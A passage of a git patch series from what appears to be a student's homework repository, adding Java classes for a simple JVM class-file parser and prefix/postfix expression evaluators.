+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/ConstantPool.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..400379b5dc
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/ConstantPool.java
@@ -0,0 +1,26 @@
+package main.coding_170416.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ConstantPool {
+    private List<ConstantInfo> constantInfos = new ArrayList<>();
+
+    public ConstantPool(){}
+
+    public void addConstantInfo(ConstantInfo constantInfo){
+        this.constantInfos.add(constantInfo);
+    }
+    public ConstantInfo getConstantInfo(int index){
+        return  this.constantInfos.get(index);
+    }
+    public String getUTF8String(int index){
+        return ((UTF8Info)this.constantInfos.get(index)).getValue();
+    }
+    public Object getSizes(){
+        return this.constantInfos.size()-1;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/FieldRefInfo.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..c88917d99f
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,57 @@
+package main.coding_170416.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class FieldRefInfo extends ConstantInfo {
+    private int type = ConstantInfo.FIELD_INFO;
+    private int classInfoIndex;
+    private int nameAndTypeIndex;
+
+    public FieldRefInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+
+    @Override
+    public String toString() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return getClassName() + ":" + typeInfo.getName() + ":" + typeInfo.getTypeInfo();
+    }
+
+    public String getClassName() {
+        ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+        UTF8Info utf8Info = (UTF8Info) this.getConstantInfo(classInfo.getUtf8Index());
+        return utf8Info.getValue();
+    }
+
+    public String getFieldName() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+    public String getFieldType() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getTypeInfo();
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/MethodRefInfo.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..c00bc277c1
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,59 @@
+package main.coding_170416.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class MethodRefInfo extends ConstantInfo {
+    private int type = ConstantInfo.METHOD_INFO;
+
+    private int classInfoIndex ;
+    private int nameAndTypeIndex;
+
+    public MethodRefInfo(ConstantPool pool){
+        super(pool);
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    @Override
+    public String toString() {
+        return getClassName()+":"+this.getMethodName()+":"+this.getParamAndReturnType();
+    }
+
+    public String getClassName(){
+        ConstantPool pool = this.getConstantPool();
+        ClassInfo clzInfo =(ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
+        return clzInfo.getClassName();
+    }
+
+    public String getMethodName(){
+        ConstantPool pool = this.getConstantPool();
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+    public String getParamAndReturnType(){
+        ConstantPool pool = this.getConstantPool();
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+        return  typeInfo.getTypeInfo();
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/NameAndTypeInfo.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..2a53baddab
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,53 @@
+package main.coding_170416.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class NameAndTypeInfo extends ConstantInfo {
+    public int type = ConstantInfo.NAME_AND_TYPE_INFO;
+
+    private int indexA;
+    private int indexB;
+
+    public NameAndTypeInfo(ConstantPool pool){
+        super(pool);
+    }
+
+    public int getIndexA() {
+        return indexA;
+    }
+
+    public int getIndexB() {
+        return indexB;
+    }
+
+    public void setIndexA(int indexA) {
+        this.indexA = indexA;
+    }
+
+    public void setIndexB(int indexB) {
+        this.indexB = indexB;
+    }
+
+    public String getName(){
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(indexA);
+        return utf8Info.getValue();
+    }
+
+    public String getTypeInfo(){
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8_info =(UTF8Info) pool.getConstantInfo(indexB);
+        return utf8_info.getValue();
+    }
+
+    @Override
+    public String toString() {
+        return "("+getName()+","+getTypeInfo()+")";
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/NullConstantInfo.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..17af5d933c
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,16 @@
+package main.coding_170416.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class NullConstantInfo extends ConstantInfo {
+
+    public NullConstantInfo() {
+
+    }
+
+    @Override
+    public int getType() {
+        return -1;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/StringInfo.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..4586195556
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/StringInfo.java
@@ -0,0 +1,31 @@
+package main.coding_170416.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class StringInfo extends ConstantInfo {
+    private int type = ConstantInfo.STRING_INFO;
+    private int index;
+
+    public StringInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getIndex() {
+        return index;
+    }
+
+    public void setIndex(int index) {
+        this.index = index;
+    }
+
+    @Override
+    public String toString() {
+        return this.getConstantPool().getUTF8String(index);
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/UTF8Info.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..0dfe034217
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/constant/UTF8Info.java
@@ -0,0 +1,40 @@
+package main.coding_170416.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class UTF8Info extends ConstantInfo {
+    private int type = ConstantInfo.UTF8_INFO;
+    private int length;
+    private String value;
+
+    public UTF8Info(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getLength() {
+        return length;
+    }
+
+    public void setLength(int length) {
+        this.length = length;
+    }
+
+    public String getValue() {
+        return value;
+    }
+
+    public void setValue(String value) {
+        this.value = value;
+    }
+
+    @Override
+    public String toString() {
+        return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + "]";
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/field/Field.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/field/Field.java
new file mode 100644
index 0000000000..5d1801730c
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/field/Field.java
@@ -0,0 +1,44 @@
+package main.coding_170416.jvm.field;
+
+import main.coding_170416.jvm.constant.ConstantPool;
+import main.coding_170416.jvm.constant.UTF8Info;
+import main.coding_170416.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class Field {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptionIndex;
+
+    private ConstantPool pool;
+
+    public Field(int accessFlag,int nameIndex,int descriptionIndex,ConstantPool pool){
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptionIndex = descriptionIndex;
+        this.pool = pool;
+    }
+
+    @Override
+    public String toString() {
+        String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+
+        String desc = ((UTF8Info)pool.getConstantInfo(this.descriptionIndex)).getValue();
+        return name+":"+desc;
+    }
+
+    public static Field parse(ConstantPool pool, ByteCodeIterator iterator){
+        int accessFlag = iterator.nextU2ToInt();
+        int nameIndex = iterator.nextU2ToInt();
+        int descIndex = iterator.nextU2ToInt();
+        int attributeCount = iterator.nextU2ToInt();
+        Field f = new Field(accessFlag,nameIndex,descIndex,pool);
+
+        if(attributeCount>0){
+            throw  new RuntimeException("Field attribute has not implemented");
+        }
+        return f;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/loader/ByteCodeIterator.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..6d1a12af38
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,54 @@
+package main.coding_170416.jvm.loader;
+
+import main.coding_170416.jvm.util.Util;
+
+import java.util.Arrays;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ByteCodeIterator {
+    byte[] codes;
+    int pos = 0;
+
+    ByteCodeIterator(byte[] codes){
+        this.codes = codes;
+    }
+    public byte[] getBytes(int len){
+        if(pos+len>=codes.length){
+            throw new ArrayIndexOutOfBoundsException();
+        }
+        byte[] data = Arrays.copyOfRange(codes,pos,pos+len);
+        pos+=len;
+        return data;
+    }
+
+    public int nextU1ToInt(){
+        return Util.byteToInt(new byte[]{codes[pos++]});
+    }
+
+    public int nextU2ToInt(){
+        return Util.byteToInt(new byte[]{codes[pos++],codes[pos++]});
+    }
+
+    public int nextU4ToInt(){
+        return Util.byteToInt(new byte[]{codes[pos++],codes[pos++],codes[pos++],codes[pos++]});
+    }
+
+    public String nextU4ToHexString(){
+        return Util.byteToHexString(new byte[]{codes[pos++],codes[pos++],codes[pos]++,codes[pos++]});
+    }
+
+    public String nextUxToHexString(int len){
+        byte[] temp = new byte[len];
+
+        for(int i=0;i<len;i++){
+            temp[i] = codes[pos++];
+        }
+        return Util.byteToHexString(temp).toLowerCase();
+    }
+
+    public void back(int n){
+        this.pos-=n;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/loader/ClassFileLoader.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..2031363503
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,91 @@
+package main.coding_170416.jvm.loader;
+
+import main.coding_170416.jvm.clz.ClassFile;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassFileLoader {
+    private List<String> clzPaths = new ArrayList<>();
+    public byte[] readBinaryCode(String className){
+        className = className.replace('.', File.pathSeparatorChar) +".class";
+        for (String path:this.clzPaths){
+            String clzFileName = path + File.separatorChar + className;
+            byte[] codes = loadClassFile(clzFileName);
+            if(codes!=null){
+                return codes;
+            }
+        }
+        return null;
+    }
+
+    public byte[] loadClassFile(String clzFileName){
+        File f = new File(clzFileName);
+        try {
+            return IOUtils.toByteArray(new FileInputStream(f));
+        } catch (IOException e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+    public void addClassPath(String path){
+        if(clzPaths.contains(path)){
+            return;
+        }
+        clzPaths.add(path);
+    }
+
+    public String getClassPath(){
+        return StringUtils.join(this.clzPaths,";");
+    }
+    public ClassFile loadClass(String className){
+        byte[] codes = this.readBinaryCode(className);
+        ClassFileParse parser = new ClassFileParse();
+        return parser.parse(codes);
+    }
+    public String getClassPath_V1(){
+        StringBuffer sb = new StringBuffer();
+        for(int i=0;i<this.clzPaths.size();i++){
+            sb.append(this.clzPaths.get(i));
+            if(i<this.clzPaths.size()-1){
+                sb.append(";");
+            }
+        }
+        return sb.toString();
+    }
+
+    public byte[] loadClassFile_V1(String clzFileName){
+        BufferedInputStream bis = null;
+        File f = new File(clzFileName);
+        try {
+            bis = new BufferedInputStream(new FileInputStream(f));
+            ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+            byte[] buffer = new byte[1024];
+            int length = -1;
+            while ((length=bis.read(buffer))!=-1){
+                bos.write(buffer,0,length);
+            }
+            byte[] codes = bos.toByteArray();
+            return codes;
+        }  catch (IOException e) {
+            e.printStackTrace();
+        }finally {
+            if(bis!=null){
+                try {
+                    bis.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+        return null;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/loader/ClassFileParse.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/loader/ClassFileParse.java
new file mode 100644
index 0000000000..2c3921f0b1
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/loader/ClassFileParse.java
@@ -0,0 +1,140 @@
+package main.coding_170416.jvm.loader;
+
+import main.coding_170416.jvm.clz.AccessFlag;
+import main.coding_170416.jvm.clz.ClassFile;
+import main.coding_170416.jvm.clz.ClassIndex;
+import main.coding_170416.jvm.constant.*;
+import main.coding_170416.jvm.field.Field;
+import main.coding_170416.jvm.method.Method;
+
+import java.io.UnsupportedEncodingException;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassFileParse {
+    public ClassFile parse(byte[] codes){
+        ClassFile clzFile = new ClassFile();
+
+        ByteCodeIterator iterator = new ByteCodeIterator(codes);
+
+        String magicNumber = iterator.nextU4ToHexString();
+
+        if(!"cafebabe".equals(magicNumber)){
+            return null;
+        }
+        clzFile.setMinorVersion(iterator.nextU2ToInt());
+        clzFile.setMajorVersion(iterator.nextU2ToInt());
+
+        ConstantPool pool = parseConstantPool(iterator);
+        clzFile.setConstantPool(pool);
+
+        AccessFlag flag = parseAccessFlag(iterator);
+        clzFile.setAccessFlag(flag);
+
+        parseInterfaces(iterator);
+
+        parseFields(clzFile,iterator);
+
+        parseMethods(clzFile,iterator);
+
+        return clzFile;
+    }
+
+    public AccessFlag parseAccessFlag(ByteCodeIterator iterator){
+        AccessFlag flag = new AccessFlag(iterator.nextU2ToInt());
+        return flag;
+    }
+
+    public ClassIndex parseClassIndex(ByteCodeIterator iterator){
+        int thisClassIndex = iterator.nextU2ToInt();
+        int superClassIndex = iterator.nextU2ToInt();
+
+        ClassIndex clzIndex = new ClassIndex();
+
+        clzIndex.setThisClassIndex(thisClassIndex);
+        clzIndex.setSuperClassIndex(superClassIndex);
+        return clzIndex;
+    }
+
+    public ConstantPool parseConstantPool(ByteCodeIterator iterator){
+        int constantPoolCount = iterator.nextU2ToInt();
+
+        ConstantPool pool = new ConstantPool();
+        pool.addConstantInfo(new NullConstantInfo());
+
+        for(int i =1;i<=constantPoolCount-1;i++){
+            int tag = iterator.nextU1ToInt();
+            if(tag==7){
+                //Class Info
+                int utf8Index = iterator.nextU2ToInt();
+                ClassInfo classInfo = new ClassInfo(pool);
+                classInfo.setUtf8Index(utf8Index);
+
+                pool.addConstantInfo(classInfo);
+            }else if(tag==1){
+                //UTF-8 String
+                int len = iterator.nextU2ToInt();
+                byte[] data = iterator.getBytes(len);
+                String value = null;
+                try {
+                    value = new String(data,"UTF-8");
+                } catch (UnsupportedEncodingException e) {
+                    e.printStackTrace();
+                }
+                UTF8Info utf8Info = new UTF8Info(pool);
+                utf8Info.setLength(len);
+                utf8Info.setValue(value);
+                pool.addConstantInfo(utf8Info);
+            }else if(tag==8){
+                StringInfo info = new StringInfo(pool);
+                info.setIndex(iterator.nextU2ToInt());
+                pool.addConstantInfo(info);
+            }else if(tag==9){
+                FieldRefInfo field = new FieldRefInfo(pool);
+                field.setClassInfoIndex(iterator.nextU2ToInt());
+                field.setNameAndTypeIndex(iterator.nextU2ToInt());
+                pool.addConstantInfo(field);
+            }else if(tag==10){
+                //MethodRef
+                MethodRefInfo method = new MethodRefInfo(pool);
+                method.setClassInfoIndex(iterator.nextU2ToInt());
+                method.setNameAndTypeIndex(iterator.nextU2ToInt());
+                pool.addConstantInfo(method);
+            }else if(tag==12){
+                //Name and Type Info
+                NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+                nameAndTypeInfo.setIndexA(iterator.nextU2ToInt());
+                nameAndTypeInfo.setIndexB(iterator.nextU2ToInt());
+                pool.addConstantInfo(nameAndTypeInfo);
+            }else {
+                throw new RuntimeException("the constant pool tag "+tag+" has not implemented");
+            }
+        }
+        System.out.println("Finished reading Constant pool");
+
+        return pool;
+    }
+    public void parseInterfaces(ByteCodeIterator iterator){
+        int interfaxrCount = iterator.nextU2ToInt();
+        System.out.println("interfaceCount:"+interfaxrCount);
+        //如果实现了接口这里需要实现
+    }
+    public void parseFields(ClassFile clzFile, ByteCodeIterator iterator){
+        int fieldCount = iterator.nextU2ToInt();
+
+        for(int i=1;i<=fieldCount;i++){
+            Field f = Field.parse(clzFile.getConstantPool(),iterator);
+            clzFile.addField(f);
+        }
+    }
+
+    public void parseMethods(ClassFile clzfFile, ByteCodeIterator iterator){
+        int methodCount = iterator.nextU2ToInt();
+
+        for(int i=0;i<=methodCount;i++){
+            Method m = Method.parse(clzfFile,iterator);
+            clzfFile.addMethod(m);
+        }
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/method/Method.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/method/Method.java
new file mode 100644
index 0000000000..9b244923e6
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/method/Method.java
@@ -0,0 +1,83 @@
+package main.coding_170416.jvm.method;
+
+import main.coding_170416.jvm.attr.AttributeInfo;
+import main.coding_170416.jvm.attr.CodeAttr;
+import main.coding_170416.jvm.clz.ClassFile;
+import main.coding_170416.jvm.constant.ConstantPool;
+import main.coding_170416.jvm.constant.UTF8Info;
+import main.coding_170416.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class Method {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+    private CodeAttr codeAttr;
+    private ClassFile clzFile;
+
+    public ClassFile getClzFile() {
+        return clzFile;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public int getDescriptorIndex() {
+        return descriptorIndex;
+    }
+
+    public CodeAttr getCodeAttr() {
+        return codeAttr;
+    }
+
+    public void setCodeAttr(CodeAttr codeAttr) {
+        this.codeAttr = codeAttr;
+    }
+    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex){
+        this.clzFile = clzFile;
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+    }
+
+    @Override
+    public String toString() {
+        ConstantPool pool = this.clzFile.getConstantPool();
+        StringBuilder sb = new StringBuilder();
+
+        String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+
+        String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+
+        sb.append(name).append(":").append(desc).append("\n");
+        sb.append(this.codeAttr.toString(pool));
+
+        return sb.toString();
+    }
+
+    public static Method parse(ClassFile clzFile, ByteCodeIterator iterator){
+        int accessFlag = iterator.nextU2ToInt();
+        int nameIndex = iterator.nextU2ToInt();
+        int descIndex = iterator.nextU2ToInt();
+        int attributeCount = iterator.nextU2ToInt();
+
+        Method m = new Method(clzFile,accessFlag,nameIndex,descIndex);
+
+        for(int i=1;i<attributeCount;i++){
+            int attrNameIndex = iterator.nextU2ToInt();
+            String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+            iterator.back(2);
+            if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
+                CodeAttr codeAttr = CodeAttr.parse(clzFile,iterator);
+                m.setCodeAttr(codeAttr);
+            }else {
+                throw new RuntimeException("only Code attribute is implemented");
+            }
+        }
+        return  m;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170416/jvm/util/Util.java b/group11/729245768/DataStructure/src/main/coding_170416/jvm/util/Util.java
new file mode 100644
index 0000000000..bd0976c5ab
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170416/jvm/util/Util.java
@@ -0,0 +1,25 @@
+package main.coding_170416.jvm.util;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class Util {
+    public static int byteToInt(byte[] codes){
+        String s1 = byteToHexString(codes);
+        return Integer.valueOf(s1, 16).intValue();
+    }
+
+    public static String byteToHexString(byte[] codes){
+        StringBuffer sb = new StringBuffer();
+        for(int i=0;i<codes.length;i++){
+            byte b = codes[i];
+            int value = b &0xFF;
+            String strHex = Integer.toHexString(value);
+            if(strHex.length()<2){
+                strHex = "0"+strHex;
+            }
+            sb.append(strHex);
+        }
+        return sb.toString();
+    }
+}

From 68522aba6194fd78537538b302365834dd47a95d Mon Sep 17 00:00:00 2001
From: peter <729245768@qq.com>
Date: Sun, 23 Apr 2017 20:07:58 +0800
Subject: [PATCH 110/262] =?UTF-8?q?jvm=E7=AC=AC=E4=B8=89=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/main/coding_170423/PostfixExpr.java   |  47 ++++++
 .../src/main/coding_170423/PrefixExpr.java    |  49 ++++++
 .../src/main/coding_170423/jvm/Test.java      |   7 +
 .../coding_170423/jvm/attr/AttributeInfo.java |  21 +++
 .../main/coding_170423/jvm/attr/CodeAttr.java |  93 ++++++++++++
 .../jvm/attr/LineNumberTable.java             |  68 +++++++++
 .../jvm/attr/LocalVariableItem.java           |  52 +++++++
 .../jvm/attr/LocalVariableTable.java          |  50 +++++++
 .../coding_170423/jvm/attr/StackMapTable.java |  23 +++
 .../coding_170423/jvm/clz/AccessFlag.java     |  28 ++++
 .../main/coding_170423/jvm/clz/ClassFile.java |  92 ++++++++++++
 .../coding_170423/jvm/clz/ClassIndex.java     |  25 ++++
 .../coding_170423/jvm/constant/ClassInfo.java |  32 ++++
 .../jvm/constant/ConstantInfo.java            |  33 +++++
 .../jvm/constant/ConstantPool.java            |  26 ++++
 .../jvm/constant/FieldRefInfo.java            |  57 +++++++
 .../jvm/constant/MethodRefInfo.java           |  59 ++++++++
 .../jvm/constant/NameAndTypeInfo.java         |  53 +++++++
 .../jvm/constant/NullConstantInfo.java        |  16 ++
 .../jvm/constant/StringInfo.java              |  31 ++++
 .../coding_170423/jvm/constant/UTF8Info.java  |  40 +++++
 .../main/coding_170423/jvm/field/Field.java   |  44 ++++++
 .../jvm/loader/ByteCodeIterator.java          |  54 +++++++
 .../jvm/loader/ClassFileLoader.java           |  91 ++++++++++++
 .../jvm/loader/ClassFileParse.java            | 140 ++++++++++++++++++
 .../main/coding_170423/jvm/method/Method.java |  83 +++++++++++
 .../src/main/coding_170423/jvm/util/Util.java |  25 ++++
 27 files changed, 1339 insertions(+)
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/PostfixExpr.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/PrefixExpr.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/Test.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/AttributeInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/CodeAttr.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/LineNumberTable.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/LocalVariableItem.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/LocalVariableTable.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/attr/StackMapTable.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/clz/AccessFlag.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/clz/ClassFile.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/clz/ClassIndex.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/ClassInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/ConstantInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/ConstantPool.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/FieldRefInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/MethodRefInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/NullConstantInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/StringInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/constant/UTF8Info.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/field/Field.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/loader/ByteCodeIterator.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/loader/ClassFileLoader.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/loader/ClassFileParse.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/method/Method.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/util/Util.java

diff --git a/group11/729245768/DataStructure/src/main/coding_170423/PostfixExpr.java b/group11/729245768/DataStructure/src/main/coding_170423/PostfixExpr.java
new file mode 100644
index 0000000000..1543317716
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/PostfixExpr.java
@@ -0,0 +1,47 @@
+package main.coding_170423;
+
+import java.util.Stack;
+
+/**
+ * Created by peter on 2017/4/23.
+ */
+public class PostfixExpr {
+    String expr = null;
+    public PostfixExpr(String expr){
+        this.expr = expr;
+    }
+
+    public float evaluate(){
+        String[] tokens = expr.split(" ");
+        int index = 0;
+        Stack<Float> operator = new Stack();//存储操作数
+        while (index < tokens.length){
+            String s = tokens[index];
+            if(Character.isDigit(s.charAt(0))){
+                //如果是操作数，直接进栈
+                operator.push(Float.parseFloat(s));
+            }else{
+                float ope2 = operator.pop();
+                float ope1 = operator.pop();
+                switch (s){
+                    case "+":
+                        operator.push(ope1+ope2);
+                        break;
+                    case "-":
+                        operator.push(ope1-ope2);
+                        break;
+                    case "*":
+                        operator.push(ope1*ope2);
+                        break;
+                    case "/":
+                        operator.push(ope1/ope2);
+                        break;
+                    default:
+                        System.out.println("invalid operator");
+                }
+            }
+            index++;
+        }
+        return operator.pop();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/PrefixExpr.java b/group11/729245768/DataStructure/src/main/coding_170423/PrefixExpr.java
new file mode 100644
index 0000000000..5a2ef9a2a8
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/PrefixExpr.java
@@ -0,0 +1,49 @@
+package main.coding_170423;
+
+
+import java.util.Stack;
+
+/**
+ * Created by peter on 2017/4/23.
+ */
+public class PrefixExpr {
+    String expr = null;
+
+    public PrefixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        String[] tokens = expr.split(" ");
+        Stack<Float> operator = new Stack();
+        int index = tokens.length - 1;
+        while (index >= 0) {
+            String s = tokens[index];
+            if (Character.isDigit(s.charAt(0))) {
+                //说明是操作数
+                operator.push(Float.parseFloat(s));
+            } else {
+                //说明是操作符
+                float opera1 = operator.pop();
+                float opera2 = operator.pop();
+                switch (s) {
+                    case "+":
+                        operator.push(opera1 + opera2);
+                        break;
+                    case "-":
+                        operator.push(opera1 - opera2);
+                        break;
+                    case "*":
+                        operator.push(opera1 * opera2);
+                        break;
+                    case "/":
+                        operator.push(opera1 / opera2);
+                        break;
+
+                }
+            }
+        index--;
+        }
+        return operator.pop();
+    }
+}
